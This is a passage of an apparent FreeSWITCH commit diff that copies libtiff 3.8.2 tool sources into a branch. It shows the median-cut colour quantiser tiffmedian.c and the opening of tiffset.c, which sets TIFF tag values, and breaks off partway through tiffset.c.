+static	void shrinkbox(Colorbox*);
+static	void map_colortable(void);
+static	void quant(TIFF*, TIFF*);
+static	void quant_fsdither(TIFF*, TIFF*);
+static	Colorbox* largest_box(void);
+
+static	void usage(void);
+static	int processCompressOptions(char*);
+
+#define	CopyField(tag, v) \
+	if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v)
+
+int
+main(int argc, char* argv[])
+{
+	int i, dither = 0;
+	uint16 shortv, config, photometric;
+	Colorbox *box_list, *ptr;
+	float floatv;
+	uint32 longv;
+	int c;
+	extern int optind;
+	extern char* optarg;
+
+	num_colors = MAX_CMAP_SIZE;
+	while ((c = getopt(argc, argv, "c:C:r:f")) != -1)
+		switch (c) {
+		case 'c':		/* compression scheme */
+			if (!processCompressOptions(optarg))
+				usage();
+			break;
+		case 'C':		/* set colormap size */
+			num_colors = atoi(optarg);
+			if (num_colors > MAX_CMAP_SIZE) {
+				fprintf(stderr,
+				   "-c: colormap too big, max %d\n",
+				   MAX_CMAP_SIZE);
+				usage();
+			}
+			break;
+		case 'f':		/* dither */
+			dither = 1;
+			break;
+		case 'r':		/* rows/strip */
+			rowsperstrip = atoi(optarg);
+			break;
+		case '?':
+			usage();
+			/*NOTREACHED*/
+		}
+	if (argc - optind != 2)
+		usage();
+	in = TIFFOpen(argv[optind], "r");
+	if (in == NULL)
+		return (-1);
+	TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &imagewidth);
+	TIFFGetField(in, TIFFTAG_IMAGELENGTH, &imagelength);
+	TIFFGetField(in, TIFFTAG_BITSPERSAMPLE, &bitspersample);
+	TIFFGetField(in, TIFFTAG_SAMPLESPERPIXEL, &samplesperpixel);
+	if (bitspersample != 8 && bitspersample != 16) {
+		fprintf(stderr, "%s: Image must have at least 8-bits/sample\n",
+		    argv[optind]);
+		return (-3);
+	}
+	if (!TIFFGetField(in, TIFFTAG_PHOTOMETRIC, &photometric) ||
+	    photometric != PHOTOMETRIC_RGB || samplesperpixel < 3) {
+		fprintf(stderr, "%s: Image must have RGB data\n", argv[optind]);
+		return (-4);
+	}
+	TIFFGetField(in, TIFFTAG_PLANARCONFIG, &config);
+	if (config != PLANARCONFIG_CONTIG) {
+		fprintf(stderr, "%s: Can only handle contiguous data packing\n",
+		    argv[optind]);
+		return (-5);
+	}
+
+	/*
+	 * STEP 1:  create empty boxes
+	 */
+	usedboxes = NULL;
+	box_list = freeboxes = (Colorbox *)_TIFFmalloc(num_colors*sizeof (Colorbox));
+	freeboxes[0].next = &freeboxes[1];
+	freeboxes[0].prev = NULL;
+	for (i = 1; i < num_colors-1; ++i) {
+		freeboxes[i].next = &freeboxes[i+1];
+		freeboxes[i].prev = &freeboxes[i-1];
+	}
+	freeboxes[num_colors-1].next = NULL;
+	freeboxes[num_colors-1].prev = &freeboxes[num_colors-2];
+
+	/*
+	 * STEP 2: get histogram, initialize first box
+	 */
+	ptr = freeboxes;
+	freeboxes = ptr->next;
+	if (freeboxes)
+		freeboxes->prev = NULL;
+	ptr->next = usedboxes;
+	usedboxes = ptr;
+	if (ptr->next)
+		ptr->next->prev = ptr;
+	get_histogram(in, ptr);
+
+	/*
+	 * STEP 3: continually subdivide boxes until no more free
+	 * boxes remain or until all colors assigned.
+	 */
+	while (freeboxes != NULL) {
+		ptr = largest_box();
+		if (ptr != NULL)
+			splitbox(ptr);
+		else
+			freeboxes = NULL;
+	}
+
+	/*
+	 * STEP 4: assign colors to all boxes
+	 */
+	for (i = 0, ptr = usedboxes; ptr != NULL; ++i, ptr = ptr->next) {
+		rm[i] = ((ptr->rmin + ptr->rmax) << COLOR_SHIFT) / 2;
+		gm[i] = ((ptr->gmin + ptr->gmax) << COLOR_SHIFT) / 2;
+		bm[i] = ((ptr->bmin + ptr->bmax) << COLOR_SHIFT) / 2;
+	}
+
+	/* We're done with the boxes now */
+	_TIFFfree(box_list);
+	freeboxes = usedboxes = NULL;
+
+	/*
+	 * STEP 5: scan histogram and map all values to closest color
+	 */
+	/* 5a: create cell list as described in Heckbert[2] */
+	ColorCells = (C_cell **)_TIFFmalloc(C_LEN*C_LEN*C_LEN*sizeof (C_cell*));
+	_TIFFmemset(ColorCells, 0, C_LEN*C_LEN*C_LEN*sizeof (C_cell*));
+	/* 5b: create mapping from truncated pixel space to color
+	   table entries */
+	map_colortable();
+
+	/*
+	 * STEP 6: scan image, match input values to table entries
+	 */
+	out = TIFFOpen(argv[optind+1], "w");
+	if (out == NULL)
+		return (-2);
+
+	CopyField(TIFFTAG_SUBFILETYPE, longv);
+	CopyField(TIFFTAG_IMAGEWIDTH, longv);
+	TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, (short)COLOR_DEPTH);
+	if (compression != (uint16)-1) {
+		TIFFSetField(out, TIFFTAG_COMPRESSION, compression);
+		switch (compression) {
+		case COMPRESSION_LZW:
+		case COMPRESSION_DEFLATE:
+			if (predictor != 0)
+				TIFFSetField(out, TIFFTAG_PREDICTOR, predictor);
+			break;
+		}
+	} else
+		CopyField(TIFFTAG_COMPRESSION, compression);
+	TIFFSetField(out, TIFFTAG_PHOTOMETRIC, (short)PHOTOMETRIC_PALETTE);
+	CopyField(TIFFTAG_ORIENTATION, shortv);
+	TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, (short)1);
+	CopyField(TIFFTAG_PLANARCONFIG, shortv);
+	TIFFSetField(out, TIFFTAG_ROWSPERSTRIP,
+	    TIFFDefaultStripSize(out, rowsperstrip));
+	CopyField(TIFFTAG_MINSAMPLEVALUE, shortv);
+	CopyField(TIFFTAG_MAXSAMPLEVALUE, shortv);
+	CopyField(TIFFTAG_RESOLUTIONUNIT, shortv);
+	CopyField(TIFFTAG_XRESOLUTION, floatv);
+	CopyField(TIFFTAG_YRESOLUTION, floatv);
+	CopyField(TIFFTAG_XPOSITION, floatv);
+	CopyField(TIFFTAG_YPOSITION, floatv);
+
+	if (dither)
+		quant_fsdither(in, out);
+	else
+		quant(in, out);
+	/*
+	 * Scale colormap to TIFF-required 16-bit values.
+	 */
+#define	SCALE(x)	(((x)*((1L<<16)-1))/255)
+	for (i = 0; i < MAX_CMAP_SIZE; ++i) {
+		rm[i] = SCALE(rm[i]);
+		gm[i] = SCALE(gm[i]);
+		bm[i] = SCALE(bm[i]);
+	}
+	TIFFSetField(out, TIFFTAG_COLORMAP, rm, gm, bm);
+	(void) TIFFClose(out);
+	return (0);
+}
+
+static int
+processCompressOptions(char* opt)
+{
+	if (streq(opt, "none"))
+		compression = COMPRESSION_NONE;
+	else if (streq(opt, "packbits"))
+		compression = COMPRESSION_PACKBITS;
+	else if (strneq(opt, "lzw", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_LZW;
+	} else if (strneq(opt, "zip", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_DEFLATE;
+	} else
+		return (0);
+	return (1);
+}
+
+char* stuff[] = {
+"usage: tiffmedian [options] input.tif output.tif",
+"where options are:",
+" -r #		make each strip have no more than # rows",
+" -C #		create a colormap with # entries",
+" -f		use Floyd-Steinberg dithering",
+" -c lzw[:opts]	compress output with Lempel-Ziv & Welch encoding",
+" -c zip[:opts]	compress output with deflate encoding",
+" -c packbits	compress output with packbits encoding",
+" -c none	use no compression algorithm on output",
+"",
+"LZW and deflate options:",
+" #		set predictor value",
+"For example, -c lzw:2 to get LZW-encoded data with horizontal differencing",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}
+
+static void
+get_histogram(TIFF* in, Colorbox* box)
+{
+	register unsigned char *inptr;
+	register int red, green, blue;
+	register uint32 j, i;
+	unsigned char *inputline;
+
+	inputline = (unsigned char *)_TIFFmalloc(TIFFScanlineSize(in));
+	if (inputline == NULL) {
+		fprintf(stderr, "No space for scanline buffer\n");
+		exit(-1);
+	}
+	box->rmin = box->gmin = box->bmin = 999;
+	box->rmax = box->gmax = box->bmax = -1;
+	box->total = imagewidth * imagelength;
+
+	{ register uint32 *ptr = &histogram[0][0][0];
+	  for (i = B_LEN*B_LEN*B_LEN; i-- > 0;)
+		*ptr++ = 0;
+	}
+	for (i = 0; i < imagelength; i++) {
+		if (TIFFReadScanline(in, inputline, i, 0) <= 0)
+			break;
+		inptr = inputline;
+		for (j = imagewidth; j-- > 0;) {
+			red = *inptr++ >> COLOR_SHIFT;
+			green = *inptr++ >> COLOR_SHIFT;
+			blue = *inptr++ >> COLOR_SHIFT;
+			if (red < box->rmin)
+				box->rmin = red;
+		        if (red > box->rmax)
+				box->rmax = red;
+		        if (green < box->gmin)
+				box->gmin = green;
+		        if (green > box->gmax)
+				box->gmax = green;
+		        if (blue < box->bmin)
+				box->bmin = blue;
+		        if (blue > box->bmax)
+				box->bmax = blue;
+		        histogram[red][green][blue]++;
+		}
+	}
+	_TIFFfree(inputline);
+}
+
+static Colorbox *
+largest_box(void)
+{
+	register Colorbox *p, *b;
+	register uint32 size;
+
+	b = NULL;
+	size = 0;
+	for (p = usedboxes; p != NULL; p = p->next)
+		if ((p->rmax > p->rmin || p->gmax > p->gmin ||
+		    p->bmax > p->bmin) &&  p->total > size)
+		        size = (b = p)->total;
+	return (b);
+}
+
+static void
+splitbox(Colorbox* ptr)
+{
+	uint32		hist2[B_LEN];
+	int		first=0, last=0;
+	register Colorbox	*new;
+	register uint32	*iptr, *histp;
+	register int	i, j;
+	register int	ir,ig,ib;
+	register uint32 sum, sum1, sum2;
+	enum { RED, GREEN, BLUE } axis;
+
+	/*
+	 * See which axis is the largest, do a histogram along that
+	 * axis.  Split at median point.  Contract both new boxes to
+	 * fit points and return
+	 */
+	i = ptr->rmax - ptr->rmin;
+	if (i >= ptr->gmax - ptr->gmin && i >= ptr->bmax - ptr->bmin)
+		axis = RED;
+	else if (ptr->gmax - ptr->gmin >= ptr->bmax - ptr->bmin)
+		axis = GREEN;
+	else
+		axis = BLUE;
+	/* get histogram along longest axis */
+	switch (axis) {
+	case RED:
+		histp = &hist2[ptr->rmin];
+	        for (ir = ptr->rmin; ir <= ptr->rmax; ++ir) {
+			*histp = 0;
+			for (ig = ptr->gmin; ig <= ptr->gmax; ++ig) {
+				iptr = &histogram[ir][ig][ptr->bmin];
+				for (ib = ptr->bmin; ib <= ptr->bmax; ++ib)
+					*histp += *iptr++;
+			}
+			histp++;
+	        }
+	        first = ptr->rmin;
+		last = ptr->rmax;
+	        break;
+	case GREEN:
+	        histp = &hist2[ptr->gmin];
+	        for (ig = ptr->gmin; ig <= ptr->gmax; ++ig) {
+			*histp = 0;
+			for (ir = ptr->rmin; ir <= ptr->rmax; ++ir) {
+				iptr = &histogram[ir][ig][ptr->bmin];
+				for (ib = ptr->bmin; ib <= ptr->bmax; ++ib)
+					*histp += *iptr++;
+			}
+			histp++;
+	        }
+	        first = ptr->gmin;
+		last = ptr->gmax;
+	        break;
+	case BLUE:
+	        histp = &hist2[ptr->bmin];
+	        for (ib = ptr->bmin; ib <= ptr->bmax; ++ib) {
+			*histp = 0;
+			for (ir = ptr->rmin; ir <= ptr->rmax; ++ir) {
+				iptr = &histogram[ir][ptr->gmin][ib];
+				for (ig = ptr->gmin; ig <= ptr->gmax; ++ig) {
+					*histp += *iptr;
+					iptr += B_LEN;
+				}
+			}
+			histp++;
+	        }
+	        first = ptr->bmin;
+		last = ptr->bmax;
+	        break;
+	}
+	/* find median point */
+	sum2 = ptr->total / 2;
+	histp = &hist2[first];
+	sum = 0;
+	for (i = first; i <= last && (sum += *histp++) < sum2; ++i)
+		;
+	if (i == first)
+		i++;
+
+	/* Create new box, re-allocate points */
+	new = freeboxes;
+	freeboxes = new->next;
+	if (freeboxes)
+		freeboxes->prev = NULL;
+	if (usedboxes)
+		usedboxes->prev = new;
+	new->next = usedboxes;
+	usedboxes = new;
+
+	histp = &hist2[first];
+	for (sum1 = 0, j = first; j < i; j++)
+		sum1 += *histp++;
+	for (sum2 = 0, j = i; j <= last; j++)
+	    sum2 += *histp++;
+	new->total = sum1;
+	ptr->total = sum2;
+
+	new->rmin = ptr->rmin;
+	new->rmax = ptr->rmax;
+	new->gmin = ptr->gmin;
+	new->gmax = ptr->gmax;
+	new->bmin = ptr->bmin;
+	new->bmax = ptr->bmax;
+	switch (axis) {
+	case RED:
+		new->rmax = i-1;
+	        ptr->rmin = i;
+	        break;
+	case GREEN:
+	        new->gmax = i-1;
+	        ptr->gmin = i;
+	        break;
+	case BLUE:
+	        new->bmax = i-1;
+	        ptr->bmin = i;
+	        break;
+	}
+	shrinkbox(new);
+	shrinkbox(ptr);
+}
+
+static void
+shrinkbox(Colorbox* box)
+{
+	register uint32 *histp;
+	register int	ir, ig, ib;
+
+	if (box->rmax > box->rmin) {
+		for (ir = box->rmin; ir <= box->rmax; ++ir)
+			for (ig = box->gmin; ig <= box->gmax; ++ig) {
+				histp = &histogram[ir][ig][box->bmin];
+			        for (ib = box->bmin; ib <= box->bmax; ++ib)
+					if (*histp++ != 0) {
+						box->rmin = ir;
+						goto have_rmin;
+					}
+			}
+	have_rmin:
+		if (box->rmax > box->rmin)
+			for (ir = box->rmax; ir >= box->rmin; --ir)
+				for (ig = box->gmin; ig <= box->gmax; ++ig) {
+					histp = &histogram[ir][ig][box->bmin];
+					ib = box->bmin;
+					for (; ib <= box->bmax; ++ib)
+						if (*histp++ != 0) {
+							box->rmax = ir;
+							goto have_rmax;
+						}
+			        }
+	}
+have_rmax:
+	if (box->gmax > box->gmin) {
+		for (ig = box->gmin; ig <= box->gmax; ++ig)
+			for (ir = box->rmin; ir <= box->rmax; ++ir) {
+				histp = &histogram[ir][ig][box->bmin];
+			        for (ib = box->bmin; ib <= box->bmax; ++ib)
+				if (*histp++ != 0) {
+					box->gmin = ig;
+					goto have_gmin;
+				}
+			}
+	have_gmin:
+		if (box->gmax > box->gmin)
+			for (ig = box->gmax; ig >= box->gmin; --ig)
+				for (ir = box->rmin; ir <= box->rmax; ++ir) {
+					histp = &histogram[ir][ig][box->bmin];
+					ib = box->bmin;
+					for (; ib <= box->bmax; ++ib)
+						if (*histp++ != 0) {
+							box->gmax = ig;
+							goto have_gmax;
+						}
+			        }
+	}
+have_gmax:
+	if (box->bmax > box->bmin) {
+		for (ib = box->bmin; ib <= box->bmax; ++ib)
+			for (ir = box->rmin; ir <= box->rmax; ++ir) {
+				histp = &histogram[ir][box->gmin][ib];
+			        for (ig = box->gmin; ig <= box->gmax; ++ig) {
+					if (*histp != 0) {
+						box->bmin = ib;
+						goto have_bmin;
+					}
+					histp += B_LEN;
+			        }
+		        }
+	have_bmin:
+		if (box->bmax > box->bmin)
+			for (ib = box->bmax; ib >= box->bmin; --ib)
+				for (ir = box->rmin; ir <= box->rmax; ++ir) {
+					histp = &histogram[ir][box->gmin][ib];
+					ig = box->gmin;
+					for (; ig <= box->gmax; ++ig) {
+						if (*histp != 0) {
+							box->bmax = ib;
+							goto have_bmax;
+						}
+						histp += B_LEN;
+					}
+			        }
+	}
+have_bmax:
+	;
+}
+
+static C_cell *
+create_colorcell(int red, int green, int blue)
+{
+	register int ir, ig, ib, i;
+	register C_cell *ptr;
+	int mindist, next_n;
+	register int tmp, dist, n;
+
+	ir = red >> (COLOR_DEPTH-C_DEPTH);
+	ig = green >> (COLOR_DEPTH-C_DEPTH);
+	ib = blue >> (COLOR_DEPTH-C_DEPTH);
+	ptr = (C_cell *)_TIFFmalloc(sizeof (C_cell));
+	*(ColorCells + ir*C_LEN*C_LEN + ig*C_LEN + ib) = ptr;
+	ptr->num_ents = 0;
+
+	/*
+	 * Step 1: find all colors inside this cell, while we're at
+	 *	   it, find distance of centermost point to furthest corner
+	 */
+	mindist = 99999999;
+	for (i = 0; i < num_colors; ++i) {
+		if (rm[i]>>(COLOR_DEPTH-C_DEPTH) != ir  ||
+		    gm[i]>>(COLOR_DEPTH-C_DEPTH) != ig  ||
+		    bm[i]>>(COLOR_DEPTH-C_DEPTH) != ib)
+			continue;
+		ptr->entries[ptr->num_ents][0] = i;
+		ptr->entries[ptr->num_ents][1] = 0;
+		++ptr->num_ents;
+	        tmp = rm[i] - red;
+	        if (tmp < (MAX_COLOR/C_LEN/2))
+			tmp = MAX_COLOR/C_LEN-1 - tmp;
+	        dist = tmp*tmp;
+	        tmp = gm[i] - green;
+	        if (tmp < (MAX_COLOR/C_LEN/2))
+			tmp = MAX_COLOR/C_LEN-1 - tmp;
+	        dist += tmp*tmp;
+	        tmp = bm[i] - blue;
+	        if (tmp < (MAX_COLOR/C_LEN/2))
+			tmp = MAX_COLOR/C_LEN-1 - tmp;
+	        dist += tmp*tmp;
+	        if (dist < mindist)
+			mindist = dist;
+	}
+
+	/*
+	 * Step 3: find all points within that distance to cell.
+	 */
+	for (i = 0; i < num_colors; ++i) {
+		if (rm[i] >> (COLOR_DEPTH-C_DEPTH) == ir  &&
+		    gm[i] >> (COLOR_DEPTH-C_DEPTH) == ig  &&
+		    bm[i] >> (COLOR_DEPTH-C_DEPTH) == ib)
+			continue;
+		dist = 0;
+	        if ((tmp = red - rm[i]) > 0 ||
+		    (tmp = rm[i] - (red + MAX_COLOR/C_LEN-1)) > 0 )
+			dist += tmp*tmp;
+	        if ((tmp = green - gm[i]) > 0 ||
+		    (tmp = gm[i] - (green + MAX_COLOR/C_LEN-1)) > 0 )
+			dist += tmp*tmp;
+	        if ((tmp = blue - bm[i]) > 0 ||
+		    (tmp = bm[i] - (blue + MAX_COLOR/C_LEN-1)) > 0 )
+			dist += tmp*tmp;
+	        if (dist < mindist) {
+			ptr->entries[ptr->num_ents][0] = i;
+			ptr->entries[ptr->num_ents][1] = dist;
+			++ptr->num_ents;
+	        }
+	}
+
+	/*
+	 * Sort color cells by distance, use cheap exchange sort
+	 */
+	for (n = ptr->num_ents - 1; n > 0; n = next_n) {
+		next_n = 0;
+		for (i = 0; i < n; ++i)
+			if (ptr->entries[i][1] > ptr->entries[i+1][1]) {
+				tmp = ptr->entries[i][0];
+				ptr->entries[i][0] = ptr->entries[i+1][0];
+				ptr->entries[i+1][0] = tmp;
+				tmp = ptr->entries[i][1];
+				ptr->entries[i][1] = ptr->entries[i+1][1];
+				ptr->entries[i+1][1] = tmp;
+				next_n = i;
+		        }
+	}
+	return (ptr);
+}
+
+static void
+map_colortable(void)
+{
+	register uint32 *histp = &histogram[0][0][0];
+	register C_cell *cell;
+	register int j, tmp, d2, dist;
+	int ir, ig, ib, i;
+
+	for (ir = 0; ir < B_LEN; ++ir)
+		for (ig = 0; ig < B_LEN; ++ig)
+			for (ib = 0; ib < B_LEN; ++ib, histp++) {
+				if (*histp == 0) {
+					*histp = -1;
+					continue;
+				}
+				cell = *(ColorCells +
+				    (((ir>>(B_DEPTH-C_DEPTH)) << C_DEPTH*2) +
+				    ((ig>>(B_DEPTH-C_DEPTH)) << C_DEPTH) +
+				    (ib>>(B_DEPTH-C_DEPTH))));
+				if (cell == NULL )
+					cell = create_colorcell(
+					    ir << COLOR_SHIFT,
+					    ig << COLOR_SHIFT,
+					    ib << COLOR_SHIFT);
+				dist = 9999999;
+				for (i = 0; i < cell->num_ents &&
+				    dist > cell->entries[i][1]; ++i) {
+					j = cell->entries[i][0];
+					d2 = rm[j] - (ir << COLOR_SHIFT);
+					d2 *= d2;
+					tmp = gm[j] - (ig << COLOR_SHIFT);
+					d2 += tmp*tmp;
+					tmp = bm[j] - (ib << COLOR_SHIFT);
+					d2 += tmp*tmp;
+					if (d2 < dist) {
+						dist = d2;
+						*histp = j;
+					}
+				}
+			}
+}
+
+/*
+ * straight quantization.  Each pixel is mapped to the colors
+ * closest to it.  Color values are rounded to the nearest color
+ * table entry.
+ */
+static void
+quant(TIFF* in, TIFF* out)
+{
+	unsigned char	*outline, *inputline;
+	register unsigned char	*outptr, *inptr;
+	register uint32 i, j;
+	register int red, green, blue;
+
+	inputline = (unsigned char *)_TIFFmalloc(TIFFScanlineSize(in));
+	outline = (unsigned char *)_TIFFmalloc(imagewidth);
+	for (i = 0; i < imagelength; i++) {
+		if (TIFFReadScanline(in, inputline, i, 0) <= 0)
+			break;
+		inptr = inputline;
+		outptr = outline;
+		for (j = 0; j < imagewidth; j++) {
+			red = *inptr++ >> COLOR_SHIFT;
+			green = *inptr++ >> COLOR_SHIFT;
+			blue = *inptr++ >> COLOR_SHIFT;
+			*outptr++ = (unsigned char)histogram[red][green][blue];
+		}
+		if (TIFFWriteScanline(out, outline, i, 0) < 0)
+			break;
+	}
+	_TIFFfree(inputline);
+	_TIFFfree(outline);
+}
+
+#define	SWAP(type,a,b)	{ type p; p = a; a = b; b = p; }
+
+#define	GetInputLine(tif, row, bad)				\
+	if (TIFFReadScanline(tif, inputline, row, 0) <= 0)	\
+		bad;						\
+	inptr = inputline;					\
+	nextptr = nextline;					\
+	for (j = 0; j < imagewidth; ++j) {			\
+		*nextptr++ = *inptr++;				\
+		*nextptr++ = *inptr++;				\
+		*nextptr++ = *inptr++;				\
+	}
+#define	GetComponent(raw, cshift, c)				\
+	cshift = raw;						\
+	if (cshift < 0)						\
+		cshift = 0;					\
+	else if (cshift >= MAX_COLOR)				\
+		cshift = MAX_COLOR-1;				\
+	c = cshift;						\
+	cshift >>= COLOR_SHIFT;
+
+static void
+quant_fsdither(TIFF* in, TIFF* out)
+{
+	unsigned char *outline, *inputline, *inptr;
+	short *thisline, *nextline;
+	register unsigned char	*outptr;
+	register short *thisptr, *nextptr;
+	register uint32 i, j;
+	uint32 imax, jmax;
+	int lastline, lastpixel;
+
+	imax = imagelength - 1;
+	jmax = imagewidth - 1;
+	inputline = (unsigned char *)_TIFFmalloc(TIFFScanlineSize(in));
+	thisline = (short *)_TIFFmalloc(imagewidth * 3 * sizeof (short));
+	nextline = (short *)_TIFFmalloc(imagewidth * 3 * sizeof (short));
+	outline = (unsigned char *) _TIFFmalloc(TIFFScanlineSize(out));
+
+	GetInputLine(in, 0, goto bad);		/* get first line */
+	for (i = 1; i <= imagelength; ++i) {
+		SWAP(short *, thisline, nextline);
+		lastline = (i >= imax);
+		if (i <= imax)
+			GetInputLine(in, i, break);
+		thisptr = thisline;
+		nextptr = nextline;
+		outptr = outline;
+		for (j = 0; j < imagewidth; ++j) {
+			int red, green, blue;
+			register int oval, r2, g2, b2;
+
+			lastpixel = (j == jmax);
+			GetComponent(*thisptr++, r2, red);
+			GetComponent(*thisptr++, g2, green);
+			GetComponent(*thisptr++, b2, blue);
+			oval = histogram[r2][g2][b2];
+			if (oval == -1) {
+				int ci;
+				register int cj, tmp, d2, dist;
+				register C_cell	*cell;
+
+				cell = *(ColorCells +
+				    (((r2>>(B_DEPTH-C_DEPTH)) << C_DEPTH*2) +
+				    ((g2>>(B_DEPTH-C_DEPTH)) << C_DEPTH ) +
+				    (b2>>(B_DEPTH-C_DEPTH))));
+				if (cell == NULL)
+					cell = create_colorcell(red,
+					    green, blue);
+				dist = 9999999;
+				for (ci = 0; ci < cell->num_ents && dist > cell->entries[ci][1]; ++ci) {
+					cj = cell->entries[ci][0];
+					d2 = (rm[cj] >> COLOR_SHIFT) - r2;
+					d2 *= d2;
+					tmp = (gm[cj] >> COLOR_SHIFT) - g2;
+					d2 += tmp*tmp;
+					tmp = (bm[cj] >> COLOR_SHIFT) - b2;
+					d2 += tmp*tmp;
+					if (d2 < dist) {
+						dist = d2;
+						oval = cj;
+					}
+				}
+				histogram[r2][g2][b2] = oval;
+			}
+			*outptr++ = oval;
+			red -= rm[oval];
+			green -= gm[oval];
+			blue -= bm[oval];
+			if (!lastpixel) {
+				thisptr[0] += blue * 7 / 16;
+				thisptr[1] += green * 7 / 16;
+				thisptr[2] += red * 7 / 16;
+			}
+			if (!lastline) {
+				if (j != 0) {
+					nextptr[-3] += blue * 3 / 16;
+					nextptr[-2] += green * 3 / 16;
+					nextptr[-1] += red * 3 / 16;
+				}
+				nextptr[0] += blue * 5 / 16;
+				nextptr[1] += green * 5 / 16;
+				nextptr[2] += red * 5 / 16;
+				if (!lastpixel) {
+					nextptr[3] += blue / 16;
+				        nextptr[4] += green / 16;
+				        nextptr[5] += red / 16;
+				}
+				nextptr += 3;
+			}
+		}
+		if (TIFFWriteScanline(out, outline, i-1, 0) < 0)
+			break;
+	}
+bad:
+	_TIFFfree(inputline);
+	_TIFFfree(thisline);
+	_TIFFfree(nextline);
+	_TIFFfree(outline);
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffset.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffset.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/tiffset.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffset.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffset.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,309 @@
+/******************************************************************************
+ * $Id: tiffset.c,v 1.11 2005/09/13 14:13:42 dron Exp $
+ *
+ * Project:  libtiff tools
+ * Purpose:  Mainline for setting metadata in existing TIFF files.
+ * Author:   Frank Warmerdam, warmerdam@pobox.com
+ *
+ ******************************************************************************
+ * Copyright (c) 2000, Frank Warmerdam
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ ******************************************************************************
+ *
+ * $Log: tiffset.c,v $
+ * Revision 1.11  2005/09/13 14:13:42  dron
+ * Avoid warnings.
+ *
+ * Revision 1.10  2005/02/24 14:47:11  fwarmerdam
+ * Updated header.
+ *
+ */
+
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+#include "tiffio.h"
+
+static char* usageMsg[] = {
+"usage: tiffset [options] filename",
+"where options are:",
+" -s <tagname> [count] <value>...   set the tag value",
+" -sf <tagname> <filename>  read the tag value from file (for ASCII tags only)",
+NULL
+};
+
+static void
+usage(void)
+{
+	int i;
+	for (i = 0; usageMsg[i]; i++)
+		fprintf(stderr, "%s\n", usageMsg[i]);
+	exit(-1);
+}
+
+static const TIFFFieldInfo *
+GetField(TIFF *tiff, const char *tagname)
+{
+    const TIFFFieldInfo *fip;
+
+    if( atoi(tagname) > 0 )
+        fip = TIFFFieldWithTag(tiff, (ttag_t)atoi(tagname));
+    else
+        fip = TIFFFieldWithName(tiff, tagname);
+
+    if (!fip) {
+        fprintf( stderr, "Field name %s not recognised.\n", tagname );
+        return (TIFFFieldInfo *)NULL;
+    }
+
+    return fip;
+}
+
+int
+main(int argc, char* argv[])
+{
+    TIFF *tiff;
+    int  arg_index;
+
+    if (argc < 2)
+        usage();
+
+    tiff = TIFFOpen(argv[argc-1], "r+");
+    if (tiff == NULL)
+        return 2;
+
+    for( arg_index = 1; arg_index < argc-1; arg_index++ ) {
+        if (strcmp(argv[arg_index],"-s") == 0 && arg_index < argc-3) {
+            const TIFFFieldInfo *fip;
+            const char *tagname;
+
+            arg_index++;
+            tagname = argv[arg_index];
+            fip = GetField(tiff, tagname);
+
+            if (!fip)
+                return 3;
+
+            arg_index++;
+            if (fip->field_type == TIFF_ASCII) {
+                if (TIFFSetField(tiff, fip->field_tag, argv[arg_index]) != 1)
+                    fprintf( stderr, "Failed to set %s=%s\n",
+                             fip->field_name, argv[arg_index] );
+            } else if (fip->field_writecount > 0) {
+                int     ret = 1;
+                short   wc;
+
+                if (fip->field_writecount == TIFF_VARIABLE)
+                        wc = atoi(argv[arg_index++]);
+                else
+                        wc = fip->field_writecount;
+
+                if (argc - arg_index < wc) {
+                    fprintf( stderr,
+                             "Number of tag values is not enough. "
+                             "Expected %d values for %s tag, got %d\n",
+                             wc, fip->field_name, argc - arg_index);
+                    return 4;
+                }
+                    
+                if (wc > 1) {
+                        int     i, size;
+                        void    *array;
+
+                        switch (fip->field_type) {
+                                /*
+                                 * XXX: We can't use TIFFDataWidth()
+                                 * to determine the space needed to store
+                                 * the value. For TIFF_RATIONAL values
+                                 * TIFFDataWidth() returns 8, but we use 4-byte
+                                 * float to represent rationals.
+                                 */
+                                case TIFF_BYTE:
+                                case TIFF_ASCII:
+                                case TIFF_SBYTE:
+                                case TIFF_UNDEFINED:
+				default:
+                                    size = 1;
+                                    break;
+
+                                case TIFF_SHORT:
+                                case TIFF_SSHORT:
+                                    size = 2;
+                                    break;
+
+                                case TIFF_LONG:
+                                case TIFF_SLONG:
+                                case TIFF_FLOAT:
+                                case TIFF_IFD:
+                                case TIFF_RATIONAL:
